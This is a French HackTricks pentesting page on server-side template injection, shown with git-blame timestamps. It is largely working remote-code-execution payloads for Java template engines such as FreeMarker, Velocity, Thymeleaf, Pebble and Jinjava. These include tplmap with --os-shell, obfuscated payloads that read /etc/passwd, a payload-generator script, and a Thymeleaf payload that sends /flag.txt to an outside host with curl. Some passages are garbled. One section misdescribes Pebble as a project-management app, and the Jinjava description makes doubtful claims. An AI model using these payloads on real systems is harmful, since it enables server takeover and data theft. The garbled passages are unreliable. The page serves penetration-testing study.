hacktricks/pentesting-web/ssti-server-side-template-injection/README.md

1124 lines
58 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# SSTI (Injection de modèle côté serveur)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
2022-10-25 15:56:49 +00:00
2023-06-03 13:10:46 +00:00
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2023-06-03 13:10:46 +00:00
## Qu'est-ce que l'injection de modèle côté serveur ?
2023-06-03 13:10:46 +00:00
Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge utile malveillante dans un modèle, qui est ensuite exécuté côté serveur.
2023-06-03 13:10:46 +00:00
Les **moteurs de modèle** sont conçus pour **générer des pages web** en **combinant** des modèles **fixes** avec des données **volatiles**. Les attaques d'injection de modèle côté serveur peuvent se produire lorsque l'**entrée utilisateur** est concaténée directement **dans un modèle**, plutôt que transmise en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre **le contrôle complet du serveur**.
2023-06-03 13:10:46 +00:00
Un exemple de code vulnérable est le suivant :
```php
$output = $twig->render("Dear " . $_GET['name']);
```
Dans l'exemple précédent, **une partie du modèle** est elle-même **générée dynamiquement** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant de placer une charge utile d'injection de modèle côté serveur dans le paramètre `name` comme suit:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
2023-06-03 13:10:46 +00:00
## Construction d'une attaque d'injection de modèle côté serveur
2021-06-07 09:30:58 +00:00
![](../../.gitbook/assets/ssti-methodology-diagram.png)
2023-06-03 13:10:46 +00:00
### Détecter
2023-06-03 13:10:46 +00:00
Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être la méthode la plus simple consiste à essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\
Afin de vérifier si le serveur est vulnérable, vous devez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et la **charge utile donnée**.\
Si une **erreur est renvoyée**, il sera assez facile de déterminer que **le serveur est vulnérable** et même quel **moteur est en cours d'exécution**. Mais vous pouvez également trouver un serveur vulnérable si vous vous y **attendiez** à ce qu'il **reflète** la charge utile donnée et qu'il ne le fait **pas** ou s'il y a des **caractères manquants** dans la réponse.
2023-06-03 13:10:46 +00:00
**Détecter - Contexte en texte brut**
2023-06-03 13:10:46 +00:00
L'entrée donnée est **rendue et reflétée** dans la réponse. Cela peut facilement être **confondu avec une vulnérabilité** [**XSS**](../xss-cross-site-scripting/) simple, mais il est facile de différencier si vous essayez de définir des **opérations mathématiques** dans une expression de modèle :
```
{{7*7}}
${7*7}
<%= 7*7 %>
2021-06-25 20:23:31 +00:00
${{7*7}}
#{7*7}
2022-09-26 02:13:30 +00:00
*{7*7}
```
**Détecter - Contexte de code**
2023-06-03 13:10:46 +00:00
Dans ces cas, l'**entrée utilisateur** est placée **à l'intérieur** d'une **expression de modèle** :
```python
engine.render("Hello {{"+greeting+"}}", data)
```
2023-06-03 13:10:46 +00:00
L'accès à l'URL de cette page pourrait être similaire à : `http://vulnerable-website.com/?greeting=data.username`
Si vous **modifiez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, alors **la réponse contiendra le nom d'utilisateur** (si les caractères d'expression de modèle de fermeture étaient **`}}`**).\
2023-06-03 13:10:46 +00:00
Si une **erreur** est générée pendant ces tests, il sera plus facile de trouver que le serveur est vulnérable.
2023-06-03 13:10:46 +00:00
### Identifier
2023-06-03 13:10:46 +00:00
Une fois que vous avez détecté le potentiel d'injection de modèle, la prochaine étape consiste à identifier le moteur de modèle.\
Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire qui est spécifiquement choisie pour ne pas entrer en conflit avec les caractères HTML.
Si vous avez de la chance, le serveur **imprimera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Certains payloads possibles qui peuvent causer des erreurs :
| `${}` | `{{}}` | `<%= %>` |
| ----------- | ------------ | --------------- |
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
| `${7*7}` | `{{7*7}}` | \`\` |
2023-06-03 13:10:46 +00:00
Sinon, vous devrez **tester manuellement différents payloads spécifiques à la langue** et étudier comment ils sont interprétés par le moteur de modèle. Une façon courante de faire cela est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire à celui-ci :
![](<../../.gitbook/assets/image (272).png>)
2023-06-03 13:10:46 +00:00
### Exploiter
2023-06-03 13:10:46 +00:00
**Lire**
2023-06-03 13:10:46 +00:00
La première étape après avoir trouvé l'injection de modèle et identifié le moteur de modèle consiste à lire la documentation. Les domaines clés d'intérêt sont :
2023-06-03 13:10:46 +00:00
* Les sections 'Pour les auteurs de modèles' couvrant la syntaxe de base.
* 'Considérations de sécurité' - il est probable que quiconque a développé l'application que vous testez n'a pas lu cela, et cela peut contenir des indices utiles.
* Listes de méthodes, fonctions, filtres et variables intégrées.
* Listes d'extensions/plugins - certaines peuvent être activées par défaut.
2023-06-03 13:10:46 +00:00
**Explorer**
2023-06-03 13:10:46 +00:00
En supposant qu'aucune exploitation ne se soit présentée, la prochaine étape consiste à **explorer l'environnement** pour savoir exactement à quoi **vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de modèle, et des **objets spécifiques à l'application** transmis au modèle par le développeur. De nombreux systèmes de modèles exposent un objet 'self' ou un espace de noms contenant tout ce qui est en portée, et une façon idiomatique de lister les attributs et méthodes d'un objet.
2023-06-03 13:10:46 +00:00
S'il n'y a pas d'objet self intégré, vous devrez forcer les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de passe de Burp Intruder.
2023-06-03 13:10:46 +00:00
Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles, et peuvent varier entre différents modèles au sein d'une application, de sorte que ce processus devrait idéalement être appliqué à chaque modèle distinct individuellement.
2023-06-03 13:10:46 +00:00
**Attaquer**
À ce stade, vous devriez avoir une **idée ferme de la surface d'attaque disponible** et être en mesure de procéder avec les techniques d'audit de sécurité traditionnelles, en examinant chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers distants, la divulgation d'informations et les vulnérabilités d'escalade de privilèges.
2023-06-03 13:10:46 +00:00
## Outils
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```
2022-05-01 13:25:53 +00:00
## Exploits
2023-06-03 13:10:46 +00:00
### Générique
2021-06-27 20:19:16 +00:00
2023-06-03 13:10:46 +00:00
Dans cette **liste de mots**, vous pouvez trouver les **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
2021-06-27 20:19:16 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
2022-05-01 13:25:53 +00:00
### Java
2021-06-25 12:34:30 +00:00
**Java - Injection de base**
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
2023-06-03 13:10:46 +00:00
**Java - Récupérer les variables d'environnement du système**
2021-06-25 12:34:30 +00:00
La récupération des variables d'environnement du système peut être utile lors de l'analyse d'une application. Les variables d'environnement peuvent contenir des informations sensibles telles que des clés d'API, des noms d'utilisateur et des mots de passe. Pour récupérer les variables d'environnement du système en Java, vous pouvez utiliser la classe `System` et la méthode `getenv()`. Voici un exemple de code qui récupère toutes les variables d'environnement du système et les affiche :
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
```java
Map<String, String> env = System.getenv();
for (String envName : env.keySet()) {
System.out.format("%s=%s%n", envName, env.get(envName));
}
```
Ce code récupère toutes les variables d'environnement du système et les stocke dans une `Map`. Ensuite, il parcourt la `Map` et affiche chaque variable d'environnement avec sa valeur correspondante.
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
2023-06-03 13:10:46 +00:00
**Java - Récupérer /etc/passwd**
Dans certaines situations, il est possible d'exploiter une injection de modèle côté serveur (SSTI) pour récupérer le fichier `/etc/passwd` sur le serveur cible. Cela peut être accompli en utilisant la syntaxe de modèle spécifique au langage pour exécuter des commandes système.
2021-06-25 12:34:30 +00:00
Dans cet exemple, nous allons utiliser la syntaxe de modèle Java pour exécuter la commande `cat /etc/passwd` et récupérer le contenu du fichier.
2023-06-03 13:10:46 +00:00
```
${new java.util.Scanner(Runtime.getRuntime().exec('cat /etc/passwd').getInputStream()).useDelimiter("\\A").next()}
2023-06-03 13:10:46 +00:00
```
2021-06-25 12:34:30 +00:00
Cette syntaxe crée un objet `Scanner` qui lit le contenu de la sortie de la commande `cat /etc/passwd` à partir d'un flux d'entrée. Le contenu est ensuite retourné en tant que chaîne de caractères.
Il est important de noter que cette technique ne fonctionnera que si l'application utilise une injection de modèle côté serveur et que le serveur cible exécute une version de Java qui prend en charge la syntaxe de modèle utilisée.
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-05-01 13:25:53 +00:00
### FreeMarker (Java)
2023-06-03 13:10:46 +00:00
Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
2021-06-25 12:34:30 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2021-06-25 12:34:30 +00:00
* `#{7*7} = 49 -- (legacy)`
2023-06-03 13:10:46 +00:00
* `${7*'7'} Rien`
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
2023-06-03 13:10:46 +00:00
**Freemarker - Contournement de bac à sable**
2023-06-03 13:10:46 +00:00
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
2021-06-25 12:34:30 +00:00
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
* Dans la section FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
2022-05-01 13:25:53 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
* Dans la section Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
2022-05-01 13:25:53 +00:00
### Thymeleaf (Java)
2023-06-03 13:10:46 +00:00
L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également dans Thymeleaf. Si vous voulez réaliser une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :
2023-06-03 13:10:46 +00:00
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
Cependant, comme nous l'avons mentionné précédemment, les expressions ne fonctionnent que dans des attributs Thymeleaf spéciaux. S'il est nécessaire d'utiliser une expression à un autre endroit dans le modèle, Thymeleaf prend en charge l'_insertion d'expression_. Pour utiliser cette fonctionnalité, vous devez mettre une expression entre `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper les symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
2023-06-03 13:10:46 +00:00
Cependant, les chances que la charge utile de détection ci-dessus fonctionne sont très faibles. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, n'autorise pas de modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur veut créer un modèle à partir d'une chaîne _à la volée_, il devra créer son propre résolveur de modèle. C'est possible mais cela arrive très rarement.
2023-06-03 13:10:46 +00:00
Si nous examinons de plus près la documentation du moteur de modèle Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement d'expression**_. Les expressions placées entre deux tirets bas (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression pendant le traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf :
2021-06-25 12:34:30 +00:00
```java
#{selection.__${sel.code}__}
```
2023-06-03 13:10:46 +00:00
**Exemple vulnérable**
```markup
<a th:href="@{__${path}__}" th:title="${title}">
2022-05-18 13:29:23 +00:00
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
2022-05-18 13:29:23 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Framework Spring (Java)
2022-09-26 02:13:30 +00:00
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
2023-06-03 13:10:46 +00:00
**Contourner les filtres**
2023-01-13 17:40:30 +00:00
2023-06-03 13:10:46 +00:00
Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas, essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
2023-01-13 17:40:30 +00:00
2023-06-03 13:10:46 +00:00
* Lire `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2023-06-03 13:10:46 +00:00
* Script personnalisé pour la génération de payload
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2023-01-13 17:40:30 +00:00
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
2023-06-03 13:10:46 +00:00
### Manipulation de la vue Spring (Java)
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2022-05-18 13:29:23 +00:00
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
2020-09-22 09:07:48 +00:00
2022-05-01 13:25:53 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
2023-06-03 13:10:46 +00:00
Ancienne version de Pebble (< version 3.0.9):
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
# Nouvelle version de Pebble :
## Description
Pebble est une application de gestion de projet qui permet aux utilisateurs de suivre les tâches, les échéances et les projets en cours. La dernière version de Pebble comprend des améliorations de performance et des corrections de bugs pour une expérience utilisateur plus fluide.
## Nouvelles fonctionnalités
- Amélioration de la vitesse de chargement des pages
- Correction de bugs mineurs
- Amélioration de l'interface utilisateur
## Comment mettre à jour
Les utilisateurs peuvent mettre à jour leur version de Pebble en se rendant sur le site web de l'application et en téléchargeant la dernière version. Les utilisateurs de Workspace peuvent également mettre à jour l'application via le Workspace App Marketplace.
2021-06-25 12:34:30 +00:00
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2021-06-25 12:34:30 +00:00
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2021-06-25 12:34:30 +00:00
```
2022-05-01 13:25:53 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
Jinjava est un moteur de template Java qui permet l'injection de code côté serveur (SSTI). Il est utilisé par plusieurs frameworks Java tels que JHipster, Spring Boot et Play Framework.
2023-06-03 13:10:46 +00:00
Pour exploiter une vulnérabilité SSTI avec Jinjava, vous devez trouver un point d'injection dans l'application Web. Cela peut être un champ de formulaire, un paramètre d'URL ou un cookie. Une fois que vous avez identifié le point d'injection, vous pouvez utiliser la syntaxe Jinjava pour injecter du code malveillant.
2023-06-03 13:10:46 +00:00
Voici un exemple de syntaxe Jinjava pour injecter du code dans une page Web :
2023-06-03 13:10:46 +00:00
```
{{ 7 * 7 }}
2023-06-03 13:10:46 +00:00
```
Cette syntaxe affichera le résultat de l'opération 7 * 7 sur la page Web. Cependant, vous pouvez également utiliser cette syntaxe pour exécuter du code malveillant, comme l'extraction de données sensibles ou l'exécution de commandes système.
2023-06-03 13:10:46 +00:00
Pour éviter les vulnérabilités SSTI avec Jinjava, vous devez valider toutes les entrées utilisateur et échapper les caractères spéciaux. Vous pouvez également désactiver l'évaluation des expressions Jinjava dans les modèles de votre application.
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2023-06-03 13:10:46 +00:00
Jinjava est un projet open source développé par Hubspot, disponible sur [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
**Jinjava - Exécution de commandes**
2021-06-25 12:34:30 +00:00
2023-06-03 13:10:46 +00:00
Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
2021-06-25 12:34:30 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-06-25 12:34:30 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
2023-06-03 13:10:46 +00:00
* Délimiteurs d'instructions `{% %}`
* Délimiteurs d'expressions `{{ }}`
* Délimiteurs de commentaires `{# #}`
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
2023-06-03 13:10:46 +00:00
Recherchez "com.hubspot.content.hubl.context.TemplateContextRequest" et découvrez le [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/).
2021-06-26 13:19:42 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-28 23:27:22 +00:00
2022-05-01 13:25:53 +00:00
2022-06-18 20:54:28 +00:00
2022-09-09 11:57:02 +00:00
2022-09-26 09:52:47 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2023-06-03 13:10:46 +00:00
**Plus d'informations**
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
2023-06-03 13:10:46 +00:00
### Langage d'expression - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 22:24:52 +00:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
